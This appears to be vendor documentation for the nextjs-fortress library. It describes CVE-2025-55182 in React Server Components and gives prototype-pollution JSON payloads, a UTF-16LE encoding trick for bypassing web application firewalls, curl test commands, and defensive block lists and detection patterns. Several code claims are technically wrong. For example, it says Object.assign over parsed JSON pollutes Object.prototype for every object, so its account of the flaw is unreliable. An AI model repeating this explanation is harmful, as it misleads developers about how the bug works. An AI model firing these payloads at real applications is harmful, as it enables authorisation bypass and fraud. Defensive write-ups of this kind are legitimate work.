Skip to main content

CVE-2025-55182: React Server Components Deserialization Vulnerability

Overview

CVE-2025-55182 is a critical vulnerability in React Server Components that allows attackers to pollute JavaScript prototypes through malicious deserialization, leading to authentication bypass, privilege escalation, and potential remote code execution.

CVSS Score: 9.8 (Critical)
Discovered: January 2025
Affects: Next.js applications using Server Actions and Server Components
Also Known As: React2Shell

The Vulnerability Explained

How React Server Components Work

React Server Components use a protocol called React Flight to serialize and deserialize data between client and server:

// Client sends data to server
const result = await serverAction({
username: "john",
email: "john@example.com"
});

// React Flight serializes this as:
// M1:{"username":"john","email":"john@example.com"}

// Server deserializes and processes

The Flaw

React Flight's deserialization process doesn't validate dangerous object keys before processing:

// Attacker sends this payload
{
"__proto__": {
"isAdmin": true
}
}

// React deserializes it as:
Object.assign({}, JSON.parse(payload));

// This pollutes Object.prototype
Object.prototype.isAdmin = true;

// Now EVERY object has isAdmin: true
const user = {};
console.log(user.isAdmin); // true ⚠️

Technical Details

Attack Vector 1: Prototype Pollution via proto

// Malicious client request
POST /api/user/update
{
"name": "John",
"__proto__": {
"isAdmin": true,
"canExecute": true,
"role": "superadmin"
}
}

// Server-side code (vulnerable)
export async function updateUser(data) {
// React deserializes data with Object.assign
const user = Object.assign({}, data);

// Prototype pollution occurred
// Object.prototype now has: isAdmin, canExecute, role

// Check admin status (BYPASSED!)
if (user.isAdmin) {
// Any user can now access admin functions
return executeAdminAction();
}
}

Result:

  • Object.prototype.isAdmin = true
  • All subsequent objects inherit isAdmin
  • Authentication completely bypassed

Attack Vector 2: Constructor Manipulation

// Attacker payload
{
"username": "attacker",
"constructor": {
"prototype": {
"isVerified": true,
"permissions": ["read", "write", "delete"]
}
}
}

// Affects all objects created with Object constructor
const newUser = {};
console.log(newUser.isVerified); // true
console.log(newUser.permissions); // ["read", "write", "delete"]

Result:

  • Constructor prototype modified
  • All new objects inherit malicious properties
  • Authorization checks bypassed

Attack Vector 3: Nested Payload Bypass

// Sophisticated attack hiding pollution deep
{
"profile": {
"settings": {
"preferences": {
"theme": "dark",
"__proto__": {
"authenticated": true,
"sessionValid": true
}
}
}
}
}

// Shallow validation misses deep pollution
// Application processes it and gets compromised

Result:

  • Deep nesting bypasses shallow validators
  • WAFs don't catch it
  • Prototype pollution succeeds

Attack Vector 4: Ghost Mode (Encoding Bypass)

// Attacker uses UTF-16LE encoding
POST /api/data
Content-Type: application/json; charset=utf-16le

// Binary payload (UTF-16LE):
[0xFF, 0xFE, 0x7B, 0x00, 0x22, 0x00, 0x5F, 0x00, 0x5F, 0x00, ...]

// WAF sees: ÿþ{�"�_�_�p�r�o�t�o�_�_�
// Application decodes to: {"__proto__": {...}}

Result:

  • WAF completely bypassed
  • Application receives malicious payload
  • Attack undetected

Real-World Exploitation Scenarios

Scenario 1: E-Commerce Platform

// Vulnerable checkout process
export async function processOrder(orderData) {
const order = await deserialize(orderData);

// Check if user has premium shipping
if (order.premiumShipping) {
// Apply free shipping
}

// Check discount eligibility
if (order.discountEligible) {
// Apply 50% discount
}
}

// Attacker sends:
{
"items": ["product1", "product2"],
"__proto__": {
"premiumShipping": true,
"discountEligible": true,
"price": 0
}
}

// Result:
// - Free premium shipping
// - 50% discount applied
// - Price set to 0
// - Financial fraud

Scenario 2: Social Media Platform

// Vulnerable content moderation
export async function publishPost(postData) {
const post = await deserialize(postData);

// Check if user is moderator
if (post.author.isModerator) {
// Skip content moderation
await publishDirectly(post);
}
}

// Attacker sends:
{
"content": "Spam content here",
"author": {
"id": "attacker123",
"__proto__": {
"isModerator": true,
"isVerified": true
}
}
}

// Result:
// - Content moderation bypassed
// - Spam published immediately
// - Platform reputation damaged

Scenario 3: Banking Application

// Vulnerable transaction processing
export async function transferMoney(transferData) {
const transfer = await deserialize(transferData);

// Verify transaction limits
if (transfer.verified && transfer.withinLimit) {
await executeTransfer(transfer);
}
}

// Attacker sends:
{
"from": "attacker_account",
"to": "attacker_account_2",
"amount": 1000000,
"__proto__": {
"verified": true,
"withinLimit": true,
"approved": true
}
}

// Result:
// - Verification bypassed
// - Unlimited transfers
// - Financial theft

How nextjs-fortress Prevents This

Layer 1: Dangerous Keys Detection

// Blocks __proto__, constructor, prototype
private checkDangerousKeys(obj: unknown): ValidationResult {
const keys = Reflect.ownKeys(obj); // Gets ALL keys including non-enumerable

for (const key of keys) {
if (this.blockList.has(key.toLowerCase())) {
return {
valid: false,
severity: 'critical',
message: `Dangerous key detected: "${key}"`,
rule: 'dangerous_key',
confidence: 1.0,
};
}
}
}

Layer 2: Depth Limiting

// Prevents deeply nested attacks
private checkDepth(obj: unknown, depth: number): ValidationResult {
if (depth > this.config.maxDepth) {
return {
valid: false,
message: 'Nesting depth exceeded',
rule: 'max_depth_exceeded',
};
}
}

Layer 3: Pattern Detection

// Detects React Flight exploitation markers
const patterns = [
'resolved_model', // React internal
'_response', // RSC marker
'_prefix', // Malware dropper
];

for (const pattern of patterns) {
if (stringified.includes(pattern)) {
return { valid: false };
}
}

Layer 4: Encoding Validation

// Blocks UTF-16LE Ghost Mode bypass
if (bytes[0] === 0xFF && bytes[1] === 0xFE) {
return {
valid: false,
message: 'UTF-16LE BOM detected (Ghost Mode)',
rule: 'bom_utf16le',
};
}

Affected Versions

Next.js

  • Next.js 13.0.0 - 13.5.6
  • Next.js 14.0.0 - 14.2.18
  • Next.js 15.0.0 - 15.1.3

React

  • React 18.0.0+
  • All versions with Server Components

Mitigation Timeline

January 5, 2025 - Vulnerability discovered
January 6, 2025 - nextjs-fortress v1.0.0 released
January 10, 2025 - Next.js patches released
January 15, 2025 - Widespread exploitation attempts

Protection Checklist

✅ Install nextjs-fortress
✅ Enable deserialization validation
✅ Configure dangerous key blocking
✅ Enable depth limiting
✅ Turn on encoding validation
✅ Monitor security events
✅ Update Next.js to patched version

Testing for Vulnerability

Test 1: Basic Prototype Pollution

curl -X POST http://localhost:3000/api/test \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'

# Vulnerable: 200 OK
# Protected: 403 Forbidden

Test 2: Constructor Attack

curl -X POST http://localhost:3000/api/test \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"hacked": true}}}'

# Vulnerable: 200 OK
# Protected: 403 Forbidden

Test 3: Nested Attack

curl -X POST http://localhost:3000/api/test \
-H "Content-Type: application/json" \
-d '{"a":{"b":{"c":{"d":{"e":{"f":{"g":{"h":{"i":{"j":{"k":{"__proto__":{"bad":true}}}}}}}}}}}}}'

# Vulnerable: 200 OK (if no depth limit)
# Protected: 403 Forbidden (depth exceeded)

Test 4: Ghost Mode

# Send UTF-16LE encoded payload
curl -X POST http://localhost:3000/api/test \
-H "Content-Type: application/json; charset=utf-16le" \
--data-binary @malicious_utf16le.bin

# Vulnerable: 200 OK
# Protected: 403 Forbidden (encoding blocked)

How to Deploy Protection

// fortress.config.ts
import { FortressConfig } from 'nextjs-fortress';

export const fortressConfig: FortressConfig = {
enabled: true,
mode: 'production',

modules: {
// PRIMARY DEFENSE against CVE-2025-55182
deserialization: {
enabled: true,
maxDepth: 10,
detectCircular: true,
blockList: [
'__proto__',
'constructor',
'prototype',
],
dangerousPatterns: [
'resolved_model',
'_response',
'_prefix',
],
},

// SECONDARY DEFENSE - Ghost Mode protection
encoding: {
enabled: true,
blockNonUTF8: true,
detectBOM: true,
},

// TERTIARY DEFENSE - Additional injection protection
injection: {
enabled: true,
checks: ['sql', 'command', 'xss', 'codeInjection'],
},
},
};

Summary

CVE-2025-55182 enables:

  • Prototype pollution
  • Authentication bypass
  • Privilege escalation
  • Remote code execution

nextjs-fortress protects by:

  • Blocking dangerous keys
  • Limiting payload depth
  • Detecting attack patterns
  • Preventing encoding bypasses

Deploy protection immediately:

deserialization: {
enabled: true,
maxDepth: 10,
detectCircular: true,
}

Related Documentation: